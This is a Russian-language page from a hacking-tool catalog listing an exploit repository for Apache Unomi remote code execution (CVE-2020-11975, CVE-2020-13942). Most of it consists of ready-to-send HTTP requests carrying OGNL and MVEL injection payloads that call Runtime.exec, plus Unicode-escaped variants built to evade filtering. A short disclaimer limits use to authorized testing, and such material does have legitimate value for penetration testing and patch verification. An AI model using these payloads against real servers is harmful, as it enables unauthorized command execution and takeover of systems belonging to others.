Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
unomi_exploit — CVE-2020-11975 CVE-2020-13942 | Kitploit
Инструменты/GitHubGitHub/1135/unomi_exploit
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHub1135/unomi_exploit

unomi_exploit

CVE-2020-11975 CVE-2020-13942

Репозиторий
6215 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Заявление

Методы обнаружения уязвимостей, файлы и прочее содержимое, представленные здесь, предназначены исключительно для использования специалистами по безопасности при наличии законного разрешения с целью проверки безопасности авторизованных серверов. Специалисты по безопасности должны соблюдать требования законодательства и запрещено проводить любое тестирование уязвимостей без получения разрешения.

Введение

  • Ссылки
    • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13942
    • https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
    • http://unomi.apache.org/
    • Анализ уязвимости — Apache Unomi RCE Часть 1 OGNL-инъекция (CVE-2020-11975) — Сообщество Xianzhi
    • Анализ уязвимости — Apache Unomi RCE Часть 2 OGNL/MVEL-инъекция (CVE-2020-13942) — Сообщество Xianzhi

CVE-2020-11975

PoC: OGNL-инъекция CVE-2020-11975

(Этот PoC поддерживает только версии <= 1.5.0, рекомендуется использовать два следующих PoC для CVE-2020-13942, которые поддерживают версии <= 1.5.1)

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 749

{
  "personalizations":[
    {
      "id":"gender-test_anystr",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#[email protected]@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
                  "comparisonOperator":"equals_anystr",
                  "propertyValue":"male_anystr"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"test-demo-session-id"
} 
Скачать инструмент

CVE-2020-13942

PoC: HTTP-запрос с OGNL-инъекцией

Следующее OGNL-выражение в HTTP-запросе (PoC) получает Runtime и выполняет команду ОС с помощью Java reflection API.

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 1143

{
  "personalizations":[
    {
      "id":"gender-test_anystr",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2_anystr"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^  #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male_anystr"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"test-demo-session-id"
} 

Вариация: можно применить кодировку Unicode, преобразовав символы в полезной нагрузке в формат \uXXXX. Это также успешно срабатывает.

root@kitploit:~
// Например
// e заменено на \u0065
// . заменено на \u002e
(#runtim\u0065class = #this.getClass().forNam\u0065(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^  #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invok\u0065(null,null)).(#execmethod = #runtimeclass.getDeclar\u0065dMethods().{? #this.nam\u0065.\u0065quals(\"\u0065xec\")}.{? #this.g\u0065tParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod\u002einvok\u0065(#rtobj,\"/bin/bash -c $*|bash 0 /System/Applications/Calculator.app/Cont\u0065nts/MacOS/Calculator\"))

PoC: HTTP-запрос с MVEL-инъекцией

Следующее MVEL-выражение в HTTP-запросе (PoC) создаёт объект Runtime и выполняет команду ОС.

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 564

{
    "filters": [
        {
            "id": "myfilter1_anystr",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "test-demo-session-id_anystr"
}

Вариация: можно применить кодировку Unicode, преобразовав символы в полезной нагрузке в формат \uXXXX. Это также успешно срабатывает.